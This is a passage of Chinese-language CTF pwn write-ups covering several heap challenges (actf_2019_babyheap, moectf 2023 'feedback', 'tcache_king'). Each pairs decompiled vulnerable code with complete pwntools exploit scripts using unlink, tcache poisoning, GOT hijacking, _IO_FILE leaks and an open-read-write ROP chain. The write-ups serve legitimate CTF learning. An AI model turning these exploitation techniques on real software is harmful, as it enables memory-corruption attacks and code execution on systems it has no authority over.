io.recvuntil(b'Please enter the index of item:')
io.sendline(str(index).encode())
io.recvuntil(b'Please enter the length of item name:')
io.sendline(str(size).encode())
io.recvuntil(b'Please enter the new name of the item:')
io.send(content)
def delete(index: int):
cmd(4)
io.recvuntil(b'Please enter the index of item:')
io.sendline(str(index).encode())
add(0x40, b'a'*0x1) # 0
add(0x80, b'b'*0x1) # 1
add(0x20, b'c'*0x1)
'''
chunk 2 是为了防止 topchunk 合并
'''
extend = p64(0)+p64(0x41)
extend += p64(arr-0x18)+p64(arr-0x10)
extend += p64(0)*4
'''
在 chunk 0 中构造一个 fake chunk
'''
extend += p64(0x40)+p64(0x90)
'''
修改下个 chunk 的 prev_size 和 size
'''
edit(0, len(extend), extend)
delete(1)
'''
触发 unlink
'''
show()
libc.address = u64(io.recvuntil(b'\x7f')[-6:]+b'\x00\x00') - 0x3c48e0
info('libc.address: ' + hex(libc.address))
system = libc.sym['system']
info('system: ' + hex(system))
'''
arr[0] 的内容中是 stdin
泄露 libc
获取 system 地址
'''
edit(0, 0x20, p64(0)*3+p64(elf.got['atoi']))
edit(0, 8, p64(system))
'''
劫持 atoi 的 GOT 表
'''
io.interactive()
heap 2.27
actf_2019_babyheap
来源:BUUOJ
void __fastcall __noreturn main(char *a1, char **a2, char **a3)
{
int v3; // eax
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
init_0();
while ( 1 )
{
while ( 1 )
{
menu(); // puts("==============================");
// puts(" This is a heap exploit demo ");
// puts("==============================");
// puts("1. Create something ");
// puts("2. Delete something ");
// puts("3. Print something ");
// puts("4. Exit ");
// puts("==============================");
// printf("Now the time is ");
// system("date");
// printf("Your choice: ");
read(0, buf, 8uLL);
v3 = atoi(buf);
if ( v3 != 2 )
break;
del();
}
if ( v3 == 3 )
{
show();
}
else
{
if ( v3 != 1 )
bye();
add();
}
}
}
漏洞分析
unsigned __int64 del()
{
int v1; // [rsp+Ch] [rbp-24h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Please input list index: ");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 >= 0 && v1 < cap )
{
if ( *(&arr + v1) )
{
free(**(&arr + v1)); // uaf
free(*(&arr + v1));
}
}
else
{
puts("Out of bound!");
}
return __readfsqword(0x28u) ^ v3;
}
free 之后没有把指针置空,就是 UAF。
程序没开 PIE,里面还带着 /bin/sh 字样,直接劫持 printf 为 system 就行。
exp
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
libc=ELF('./libc-2.27.so')
elf=ELF('./ACTF_2019_babyheap')
io=process('./ACTF_2019_babyheap')
gdb.attach(io, 'b *0x400D69')
binsh = 0x602010
system = 0x4007A0
def cmd(c:int):
io.sendlineafter(b'Your choice: ', str(c).encode())
def add(size:int, content:bytes):
cmd(1)
io.sendlineafter(b'size: ', str(size).encode())
io.sendafter(b'content: ', content)
def delele(idx:int):
cmd(2)
io.sendlineafter(b'index: ', str(idx).encode())
def show(idx:int):
cmd(3)
io.sendlineafter(b'index: ', str(idx).encode())
add(0x20, b'a'*0x20)
add(0x20, b'b'*0x20)
add(0x40, b'c'*0x40)
#防止合并,虽然实际上好像不需要
delele(0)
delele(1)
#放入 tcache bin 中
add(0x10, p64(binsh)+p64(system))
'''
0x10是为了神奇到之前的 head 块
然后覆盖 ptr 为 binsh_ptr , print 为 system
'''
show(0)
'''
触发
'''
io.interactive()
heap 2.31
feedback
来源:moectf 2023
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
init();
read_flag();
vuln();
}
void __cdecl read_flag()
{
int fd; // [rsp+4h] [rbp-Ch]
fd = open("./flag", 0, 0LL);
if ( fd == -1 )
{
puts("open flag error!");
exit(0);
}
if ( &puts == (int (**)(const char *))0xFFFFFFFFFFE92D20LL )
{
puts("malloc error!");
exit(0);
}
read(fd, &puts + 0x2DA5C, 0x50uLL);
close(fd);
//flag内容写入libc
}
漏洞分析
void __cdecl __noreturn vuln()
{
int i; // [rsp+8h] [rbp-8h]
int ia; // [rsp+8h] [rbp-8h]
int index; // [rsp+Ch] [rbp-4h]
puts("Can you give me your feedback?");
puts("There are some questions.");
puts("1. What do you think of the quality of the challenge this time?");
puts("2. Give me some suggestions.");
puts("3. Please give me your ID.");
feedback_list[0] = 0LL;
for ( i = 1; i <= 3; ++i )
feedback_list[i] = (char *)malloc(0x50uLL);
for ( ia = 0; ia <= 2; ++ia )
{
puts("Which list do you want to write?");
index = read_num();
if ( index <= 3 )
{
puts("Then you can input your feedback.");
read_str(feedback_list[index]); // 数组越界
print_feedback();
}
else
{
puts("No such list.");
}
}
_exit(0);
}
index 可以是负数,数组越界;.bss 上 feedback_list 紧跟在 stdout/stdin/stderr 之后,改这些结构体就能利用。
exp
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
libc = ELF('./libc-2.31.so')
io = process('./feedback')
gdb.attach(io, 'b *$rebase(0x1581)')
def edit(idx, content):
io.recvuntil(b'Which list do you want to write?')
io.sendline(str(idx).encode())
io.recvuntil(b'Then you can input your feedback.')
io.sendline(content)
'''
0xfbad1800是覆写_flag.
p64(0)*3是覆写_IO_read_pte,_IO_read_base,_IO_read_end
b'\x00'是覆写_IO_write_base的最后一字节,
使_IO_write_base与_IO_write_ptr间有差
'''
payload = p64(0xfbad1800) + p64(0) * 3 + b'\x00'
edit(-8, payload)
libc.address = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1ec980
info('libc.address: ' + hex(libc.address))
puts_addr = libc.sym['puts']
info('puts_addr: ' + hex(puts_addr))
base_addr = puts_addr+0x2DA5C*8
end_addr = base_addr+0x50
'''
base_addr就是flag的地址
+0x50是因为写入flag的时候是0x50,
'''
info('base_addr: ' + hex(base_addr))
info('end_addr: ' + hex(end_addr))
'''
payload的写法和之前类似
_IO_write_base与_IO_write_ptr的 区间包含了flag
'''
payload = p64(0xfbad1800) + p64(0) * 3 + p64(base_addr)+p64(end_addr)+p64(0)*3
edit(-8, payload)
io.interactive()
tcache_king
来源:偶然所得
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
init_0(a1, a2, a3);
while ( 1 )
{
while ( 1 )
{
menu(); // log("1.Add\n");
// log("2.Edit\n");
// log("3.Free\n");
// log("4.Exit\n");
// return write(1, ">> ", 3uLL);
v3 = (int)getc();
if ( v3 != 2 )
break;
edit();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
del();
}
else
{
if ( v3 == 4 )
_exit(0);
LABEL_13:
log("Invalid choice\n");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
add();
}
}
}
漏洞分析
void del()
{
unsigned int idx; // [rsp+Ch] [rbp-4h]
log("Idx:");
idx = getc();
if ( idx <= 4 && arr[idx] )
free(arr[idx]);
else
log("Invalid idx\n");
}
明显的 UAF:把 chunk 申请到数组地址上,再劫持 GOT。沙箱禁了 execve 和 execveat,所以改打 ORW。
exp
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
# context.arch = 'amd64'
context.binary = './pwn'
libc = ELF('./libc-2.31.so')
elf = ELF('./pwn')
io = process(elf.path)
# gdb.attach(io, 'b * 0x4016E4')
def cmd(num):
io.sendlineafter(b'>> ', str(num).encode())
def add():
cmd(1)
io.sendlineafter(b'Size: ', b'32')
def edit(idx, content):
cmd(2)
io.sendlineafter(b'Idx:', str(idx).encode())
io.sendafter(b'Content: ', content)
def free(idx):
cmd(3)
io.sendlineafter(b'Idx:', str(idx).encode())
arr = 0x4035a0
add() # 0
add() # 1
free(1)
free(0)
edit(0, p64(arr-0x10))
add() # 2
add() # 3 to heap
extend = p64(0)*2+p64(arr+8)
edit(3, extend)
extend = p64(elf.got['free']) + p64(elf.got['read'])
edit(0,extend)
edit(1, p64(0x4012D1))
info("plz check the arr and the got of free")
free(2)
libc.address = u64(io.recvuntil(b'\x7f')
[-6:].ljust(8, b'\x00')) - libc.symbols['read']
info('libc base: ' + hex(libc.address))
open = libc.symbols['open']
reads = libc.symbols['read']
writes = libc.symbols['write']
gets = libc.symbols['gets']
environ = libc.symbols['environ']
rdi = libc.address + 0x23b6a
rsi = libc.address + 0x2601f
rdx = libc.address + 0x142c92
info('open: ' + hex(open))
info('read: ' + hex(reads))
info('write: ' + hex(writes))
info('gets: ' + hex(gets))
info('environ: ' + hex(environ))
edit(0, p64(environ))
free(1)
stack = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x118
info('stack: ' + hex(stack))
extend = p64(elf.got['free']) + p64(stack - 0x8) + b'./flag\0'
edit(0, extend)
edit(1,p64(gets))
payload = p64(rdi)
payload += p64(arr+0x18)
payload += p64(rsi)
payload += p64(0)
payload += p64(open)
payload += p64(rdi)
payload += p64(3)
payload += p64(rsi)
payload += p64(arr+0x40)
payload += p64(rdx)
payload += p64(0x40)
payload += p64(reads)
payload += p64(rdi)
payload += p64(1)
payload += p64(rsi)
payload += p64(arr+0x40)
payload += p64(rdx)
payload += p64(0x40)
payload += p64(writes)
free(2)
info('plz check the stack')
io.sendline(payload)
print(io.recvall())
io.interactive()